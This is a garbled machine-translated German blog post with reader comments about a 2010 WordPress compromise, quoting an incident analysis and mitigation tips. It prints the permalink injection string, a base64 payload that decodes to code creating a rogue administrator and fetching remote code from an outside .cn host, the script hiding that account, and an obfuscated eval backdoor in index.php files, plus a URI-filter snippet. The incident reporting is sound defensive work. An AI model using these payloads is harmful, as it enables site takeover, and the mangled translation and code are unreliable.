Am 25.02.2010 war meine Website nicht zugänglich als spiderbot) http://p3p0.com/ injiziert hatte (ein König in meine Blog-Adresse auf eine andere Website, wenn Sie über Google versucht zu betreten meiner Website oder anderen Suchmaschinen.

Was ist passiert?
Der Angriff wurde config.php durchgeführt von der spiderbot die ein Ausnutzen der Fehler in WordPress-WP sind in der Lage, in meinem Code injizieren
Mein WordPress 2.9.2 ist daher derzeit die neueste Version.
Verwenden Sie nur sehr wenige Plugins, aber ich kann Ihnen versichern, dass sie nicht von ihnen zu kommen.
Diese bot, nur meine geändert config-Datei, geben Sie diesen Code:
eval(base64_decode("......
Wie zu beheben und wie man sich schützen?
Dann INANZIERUNG allem, wenn Sie eine Seite mit nicht vielen Besuche haben, schlage ich dazu:
IPSafer.com
Ich wurde von berichtete: makellos.
Stellen Sie den Nur-Lese-Berechtigung zum Datei wp-config.php auf diese Weise werden die Aktualisierungen nicht in der Theorie funktionieren, aber bevor wir aktualisieren Führen Sie eine kommt aus diesem Trick.
Verwenden Akismet
Und fügen Sie diesen Code in Ihre Header-Template:
<? Php if (strlen ($ _SERVER ['REQUEST_URI'])> 155 | | strpos ($ _SERVER ['REQUEST_URI'], "eval") | | strpos ($ _SERVER ['REQUEST_URI'], 'base64')) ( @ Header ("HTTP/1.1 414 Angeforderte URI Too Long"); @ Header ("Status: 414 Request-URI Too Long"); @ Header ("Connection: Close"); @ Exit; )?>
Blocking Zugriffe mehr als 155 Zeichen lang und enthalten den Code eval base64 oder dass der "Virus"
Und wenn Sie bereits infiziert ist, entfernen Sie den Code eval ... aus der Datei wp-config und kontrolliert die anderen Dateien.
Und der Datenbank.
Obwohl ich nicht etwas Wachs.
Denn jetzt habe ich nichts, dass dieser Angriff nur eine kleine Dokument, das Sie post erklärt gefunden:
WordPress eval (base64_decode ($ _SERVER [HTTP_REFERER])) Hack: Erste Standorte AnalysisSeveral Have Been Hit Kürzlich (einschließlich des vorliegenden) mit dem, was offenbar eine neue Sicherheitslücke in WordPress. Der Angriff nutzt eine scheinbare Verletzlichkeit Welche nicht-administrative Konten, die Permalink Struktur der Website bearbeiten können. Diese wird verwendet, um PHP-Code Unauthorized injizieren, dass ein Verwaltungsakt Konto und WordPress Versuche erstellt, um das Konto aus der WordPress Web UI verstecken via JavaScript Injektion. Auch ist es spritzt PHP-Code in PHP mehrere Dateien auf das Dateisystem und die Bearbeitungen Permalinks zu enthalten zusätzliche Code, dessen Absicht zu sein scheint und base64 decodiert HTTP-Header Referer eval.
Ersten Angriff und Payload
Wie arbeitet die Anfälligkeit ist noch unklar, aber es scheint, dass der Angreifer müssen ein Konto zu registrieren, um den Angriff einzuleiten. Nach der Anmeldung haben, bearbeitet die Angreifer den permalink Struktur mit End:
"/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECCODE%5D))%7D%7D|.+)&%
Dies ermöglicht dem Angreifer PHP Code ausführen über das HTTP-Header Referer. Der Angreifer dann einen Antrag auf eine schädliche Payload im HTTP-Header Referer php:
219.75.255.131 - - [03/Sep/2009: 21.29.49 -0700] "POST / HTTP/1.0 xmlrpc.php" 200 394 "JHJvbGU9J2FkbWluaXN0cmF0b3InOyR1c2VyX2xvZ2luPSdDYXJyb2xXaWdnaW44Mic7JHVzZXJfcGFzcz0nQEhjJnB1VG1IJVRYJztldmFsKGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwOi8vbGlua3Mud2Vid29yZHByZXNzLmNuL2RhdGEvc2hvcnRwYXJ0Mi50eHQnKSk7ZXhpdDs =" "Mozilla/5.0 (X11, U; Linux i686; en- US; rv: 1.1b) Gecko/20020722 "
In unseren Häusern, das Datum dekodiert Base64 zu:
$role='administrator';$user_login='CarrolWiggin82';$user_pass='@Hc&puTmH%TX';eval(file_get_contents('http://links.webwordpress.cn/data/shortpart2.txt'));exit;
Payload Execution
Der Anschluss an shortpart2.txt Datei enthält den Code:
require_once (ABSPATH. "wp-includes/registration.php ') global $ wp_version; global $ wpdb; echo '<date>.' "\ n"; $ $ = Users_id wpdb-> get_results ("SELECT id FROM $ wpdb-> Benutzer"); foreach ($ als $ id users_id) ( $ My_user get_userdata = ($ id-> id); if ($ my_user-> wp_user_level == 10) ( if (strlen ($ my_user-> user_firstname)> 25) wp_delete_user ($ id-> ID); ) ) echo''. get_option ('siteurl').''." \ n ".''.$ wp_version .''." \ n ".''.$ .''." user_login \ n ".''. $ user_pass .''." \ n "; Wp_create_user $ user_id = ($ user_login, user_pass $); $ Name ="... \ n \ n \ n \ n \ n \ n \ n \ n \ n ". '<div Id="user_superuser"> <script language="JavaScript"> var SETUSERNAME = function () ( versuchen ( var t = document.getElementById ("user_superuser"); while (t.nodeName! = "TR") ( t = t.parentNode; ); t.parentNode.removeChild (t); var tags = document.getElementsByTagName ("H3"); var s = "unten"; for (var i = 0; i <tags.length; i + +) ( var t = tags [i]. innerHTML; var h = tags [i]; if (t.indexOf (s)> 0) ( s = (parseInt (t) -1) + s; h.removeChild (h.firstChild); t = document.createTextNode (s); h.appendChild (t); ) ) var arr = document.getElementsByTagName ("ul"); für (var i in arr) if (arr [i]. className == "subsubsub") ( var n = /> Administrator \ ((\ d +) \) </ gi.exec (arr [i]. innerHTML); if (n [1]> 0) ( var txt = arr [i]. innerHTML.replace (/> Administrator \ ((\ d +) \) </ gi, "> Administrator (" + (n [1] -1 )+")<"); arr [i]. innerHTML = txt; ) ) ) Catch (e) (); ); addLoadEvent (SETUSERNAME); </ Script> </ div> '; update_usermeta ($ user_id, 'vorname', $ name); $ user = new WP_User ($ user_id) $ user-> set_role ($ role); UPDATE_OPTION ('users_can_register', 0); print '<register_status> ". get_option ('').'</ users_can_register register_status> '. "\ n"; echo' </ date>. '"\ n";
Dieser Code löscht zuerst auf administrative Konten, deren Vornamen sind länger als 25 Zeichen; Potenziell Könnte dies ein Weg für die Angreifer Clean Up werden vorher Jede administrative Konten in dem Fall, dass er / sie der gleichen Stelle zweimal Angriffe s erstellt. Der Angreifer ist der Name dann Set enthalten JavaScript-Code, der blendet die Angreifer das Konto von WordPress administrative Web-Interface, und eskaliert auf das Konto Administratorrechte.
Obwohl noch unklar ist, wie oder wann es passiert, mehrere andere PHP-Dateien sind mit schädlichem Code wie folgt infiziert:
gpc_19045 Funktion ($ l19047) (if (is_array ($ l19047)) (foreach ($ als $ l19047 l19045 => $ l19046) $ l19047 [$ l19045] = gpc_19045 ($ l19046)) elseif (is_string ($ l19047) & & substr ($ l19047, 0,4 )=="____") substr ($ l19047, 0,4 )=="____") (Eval (base64_decode (substr ($ l19047, l19047 4 )));$ = null;) return $ l19047;) (eval (base64_decode (substr ($ l19047, l19047 4 )));$ = null;) return $ l19047 ;) if (empty ($ _SERVER)) = $ _SERVER $ HTTP_SERVER_VARS; array_map ("gpc_19045", $ _SERVER); if (empty ($ _SERVER)) = $ _SERVER $ HTTP_SERVER_VARS; array_map ("gpc_19045", $ _SERVER);
In unseren Häusern, diesen Code in injiziert wurde und Lab index.php / index.php, welche angegeben werden, dass WS Einige automatisierte Skripte laufen auf te sever rekursiv index.php Dateien infizieren mit dem Code. Es gab auch Berichte dieser gebrachte Code in die Datei wp-config.php und die Datei wp-content/uploads/pass.php.
Milderung
Seit der erstmaligen Ausführung von Code Scheint PHP nutzen, um die schädliche Payload ausführen, indem wir vorschlagen eine einzige Zeile lesen "exit ();" (ohne Anführungszeichen) als die erste Zeile PHP-Code in die PHP-Datei um Geeignet abgemildert der Drohung, bis ein Patch erzeugt wird. Beachten Sie, dass die eigentliche Schwachstelle offenbar nicht in xmlrpc.php befinden, Darf ich wissen, andere Wege der Verwertung existieren noch.
Cleanup
The blog's permalink Struktur sollte zu Vermeidung von Fehlern und möglichen zusätzlichen Nutzung wiederhergestellt werden. Außerdem sollten Sie aufräumen und entfernen Sie die oben genannten Dateien Injektionen des Angreifers Administratorkonto. Die ersten Benutzer-Account vom Angreifer verwendet sollte auch entfernt werden, wahrscheinlich wird es das letzte Konto angelegt werden kurz vor der Gründung der bösartige administrative Konto. Detailliertere Informationen über die Säuberung der bösartigen Konten gefunden werden kann hier .
Sonstiges:







Lino schrieb:
26. Februar 2010 um 17:45
Danke für das Teilen Sie Ihre Erfahrungen mit uns.
clshack schreibt:
26. Februar 2010 um 17:49
Ich habe Netsons Kontakt-Manager, in der Hoffnung sie wird mich verlassen einige Log, oder vielmehr, weil sie vielleicht wissen, Freilegung der Bugs
GREY_FOX schreibt:
26. Februar 2010 um 20.33
Ich stellte das Snippet Sie schlug Header .. hoffentlich gut!
Es gibt einen kleinen Fehler im Code .... dem Start-Tag <? php ausgeschaltet ist ... diese Mühe nicht jeder, der die Sprache kennt, aber für einige arme Benutzer, kopieren funktioniert / paste vielleicht etwas Geld zu geben!
Hallo
Louis schreibt:
26. Februar 2010 um 22.02 Uhr
Great netten Guide, bin ich unwissend über PHP und WP, sondern etwas, folgte ich, seit ich ihn einmal als Plattform für einen Blog passiert habe.
Keep it up!
Selbstverständlich werden Ihre Kenntnisstand ist wesentlich mehr als meine
PS: Ich schlage vor, zu wissen, dass Sie Linux-Audio-Player aufgerufen Exaile für Gnome entwickelt. Es ist eine wunderbare, stabil, leicht und einfach, aber schöne Grafik.
http://www.exaile.org/downloads
Hallo!
GREY_FOX schreibt:
27. Februar 2010 um 03.19 Uhr
@ Lugier
Nice banshee exaile aber ich bevorzuge Gnome ... aber ich denke, wir sind ein wenig off topic
Aldo schrieb:
27. Februar 2010 um 09.38 Uhr
Sehr ähnlich, was mir passiert ist vor etwa einem Monat und erzählte hier: http://wp.me/p4yd8-wZ
fleckenlos schreibt:
27. Februar 2010 um 13:25 Uhr
Hallo, und danke für die gemeinsame Nutzung dieser Analyse mit uns!
Vor einiger Zeit hatte ich auch ein ähnlicher Angriff (ohne Folgen, sondern auch aus anderen Gründen ...) auch in diesem Fall wurde die Technik, um den Code in der Variablen gegeben "HTTP_REFERER" des $ _SERVER und codiert in Standard durchsetzen "base64". In meinem Fall, aber die Hacker verwendet ein automatisiertes Werkzeug, das die Unterschrift "<magic_seo_toolz> hat.
Wenn Sie jemals hatte die Version 2.9.2 gibt es dann viel zu tun, sondern schicken Sie eine Mitteilung an die Entwickler von WordPress.
Wenn Sie über eine ältere Version (2.8.2 oder oder), dann ist es ein schwacher Hinweis, ein gebrauchtes längst für Massive Attack . In diesem Fall wird der Patch auf die besonderen Problem zu lösen, hier , aber eines, das Problem behebt insgesamt finde es indem Sie hier klicken .
clshack schreibt:
27. Februar 2010 um 15.18 Uhr
@ Louis:
Louis ehehe Danke für die Komplimente

Und danke für den Audio-Player mit egnalazione GREY_FOX
@ GREY_FOX:
WordPress ist so, um zu verhindern, dass der Code eingefügt in php 
PHP-Tag für Sie
@ Spotless:
Leider makellos Ich habe die neueste Version von WordPress
Glücklicherweise haben sie bereits diesen Fehler WordPress hier unbekannt => markiert
http://wordpress.org/support/topic/363577
Natürlich, wie erwartet, sind nicht die einzige, die infiziert sein, hoffentlich bald in einem Patch.
hallo
clshack schreibt:
27. Februar 2010 um 16:03
@ Aldo:
ja, ich lese
Hoffentlich bald ein Patch
Zeit, die mir nicht antworten Netsons mehr -.- '
evilripper schreibt:
27. Februar 2010 um 16.35 Uhr
stroria hässlich und sowieso "eine seltsame Sache, die ich nicht verstand, wie ich die wp-config zu ändern, sollte der Bot registrieren:
Wie funktioniert die Anfälligkeit ist noch unklar, aber es scheint, dass der Angreifer müssen ein Konto zu registrieren, um den Angriff einzuleiten.
Ich schaltete die Aufzeichnung aus meinem Blog während Ihr dort können Sie "Rekord! aber "wollte dieses Ding?
http://www.clshack.it/wp-login.php?action=register
Als Open-Source-Methode der Verteidigung mehr "gemeinsame" der Verwaltungs-Seite ändern, wenn jetzt mit WP kennen und "einfach als das, was (wp-admin.php -> khdsjfdhs.php in) und dann ist klar, dass Verlassen der Dateien Alle Rechte sind eher zu "nicht erinnern, ob wp erfordert 777 für die wp-config, aber ich denke nicht!
hallo
clshack schreibt:
27. Februar 2010 um 16.40 Uhr
Der Diskurs der "Bot sollte sich registrieren" Nun, ich habe es noch nicht auf meinem WordPress Bug bereits erwähnt versuchte, auch weil ich schon, dass Artikel zu lesen und sollte die Schwachstelle betroffen Wordpress <2.8.4 werden
So sollten nicht treffen nichts.
Für die Datei wp-config, mir war er auf 777 eingestellt weiß nicht, warum alle Berechtigungen für Ordner und alle waren richtig ... aber die Tatsache ist, dass niemand erlaubt sein sollte, zu schreiben, oder versuchen, die Datei zu schreiben Wordpres ..
Hallo
GREY_FOX schreibt:
27. Februar 2010 um 16:58
@ Clshack
Um zu testen, die PHP-Tags Plugins für die Hervorhebung Code, gibt es Dutzende ... besonders für einen Standort wie dem Ihren, wo kontinuierliche Postleitzahl nützlich sein kann.
@ Evilripper
Sogar meine wp Blog ermöglicht die Aufnahme sehe ich nicht, was falsch ist.
Du kannst nicht ändern Sie den Namen der wp-admin.php, wenn Sie eine schwere Hand legte, um den Code. Da für die wp-admin. Es könnte jedoch eine weitere Einschränkung der wp-admin mit den Einstellungen von Apache, einen zusätzlichen Pass erfordern, aber es scheint zu groß
clshack schreibt:
27. Februar 2010 um 17:04
@ GREY_FOX:
früher oder später umsetzen Ich GeSHi
hehe bah erst, nachdem ich schwer geworden Website
@ Evilripper
Es ist ein bisschen "Lösung unwahrscheinlich, dass Sie sagen
Allerdings könnte es eine machbare Sache sein
http://www.webmasterworld.com/apache/3731562.htm
gebaut, dass in unserem Fall, der ganze Block auf dem Gelände als Base64-Strings und so weiter ...
hehe ich denke, ich werde bald
evilripper schreibt:
27. Februar 2010 um 18:09
@ GREY_FOX
nicht da "nichts falsch, nur die allgemeine Idee, dass weniger die Dinge links weniger aktiv sind, aber das ist das Risiko überall! in meinem Blog habe ich beschlossen, nicht zu Protokoll geben, weil, wenn ich die Autoren fügen Sie tun ich auf die Post nicht äußern und müssen aufgezeichnet werden, so brauche ich nicht und nicht die Fähigkeit!
in das Verzeichnis der Regierung (und nicht "Ich bin eine Datei falsch! ändern) sagen, dass sie einfach eine Art von Refactoring aber ich würde es nicht ohne die erforderlichen Tests online!
http://wp123.info/modifications/change-wp-admin-folder-name/
ps
Allerdings sollte als eine Funktion von WordPress umgesetzt werden!
hallo
GREY_FOX schreibt:
27. Februar 2010 um 19.46 Uhr
@ Evilripper
Um mir das Ding ist nur Mühe, nicht berühren mein Herz!
Wir hoffen, etwas einzuführen, neue Versionen von WP ...
Ferik schreibt:
2. März 2010 um 23:55
Ich glaube nicht, ich verwende wordpress mehr, zu schwach, nur heute, 2. März 2010 erhielt ich einen verheerenden bell'attacco ... ... Misstrauen.
fleckenlos schreibt:
3. März 2010 um 14.48 Uhr
@ Ferik
Ich teile Ihre Bedenken, Wordpress tatsächlich erweist sich ein bisschen "zu schwach!
@ GREY_FOX
Ich wäre nicht so drastisch! wenn das Projekt ist Open Source bedeutet, dass die Veränderungen willkommen sind vor allem wenn Sie: Stärkung der Kräfte aller z. B. gerade heute bemerkte ich, dass sie veröffentlicht den Patch auf 2.9.2 ipsafer für WordPress, und vielleicht kann sinnvoll angewendet werden zur Stärkung der "Installation von WordPress.
@ Clshack
Nun, hoffen wir, dass die Entwickler bald lösen das "Loch".
GREY_FOX schreibt:
4. März 2010 um 00:50
@ Spotless
Sicherlich kommen, wenn die Änderungen auch in das Projekt ... Änderung der Kern allein integriert ist wahrscheinlicher, Schwierigkeiten zu schaffen bedeutete, dass das nächste Update
clshack schreibt:
4. März 2010 um 17:53
@ All: Ich fragte den Netsons, Such-Strings in ihren Log-Dateien injiziert, dann sind sie entweder Idioten und nichts finden oder nicht, indem er eine Anfrage eingegangen, aber aus meiner Sicht die Nutzung von PHP Bugs <= 5.2.12 ....
GREY_FOX schreibt:
5. März 2010 um 01.08 Uhr
cls ich Ihre Steuerung in ein Plugin für WordPress, so können Sie auch auf anderen usre Dateien auf wp und nicht nur die des Themas.
Sie finden sie hier: http://thedevelopers.netsons.org/wordpress-in-pericolo-plugin-patch/
Aber denken Sie 155 Zeichen ist zu wenig für die requst uri?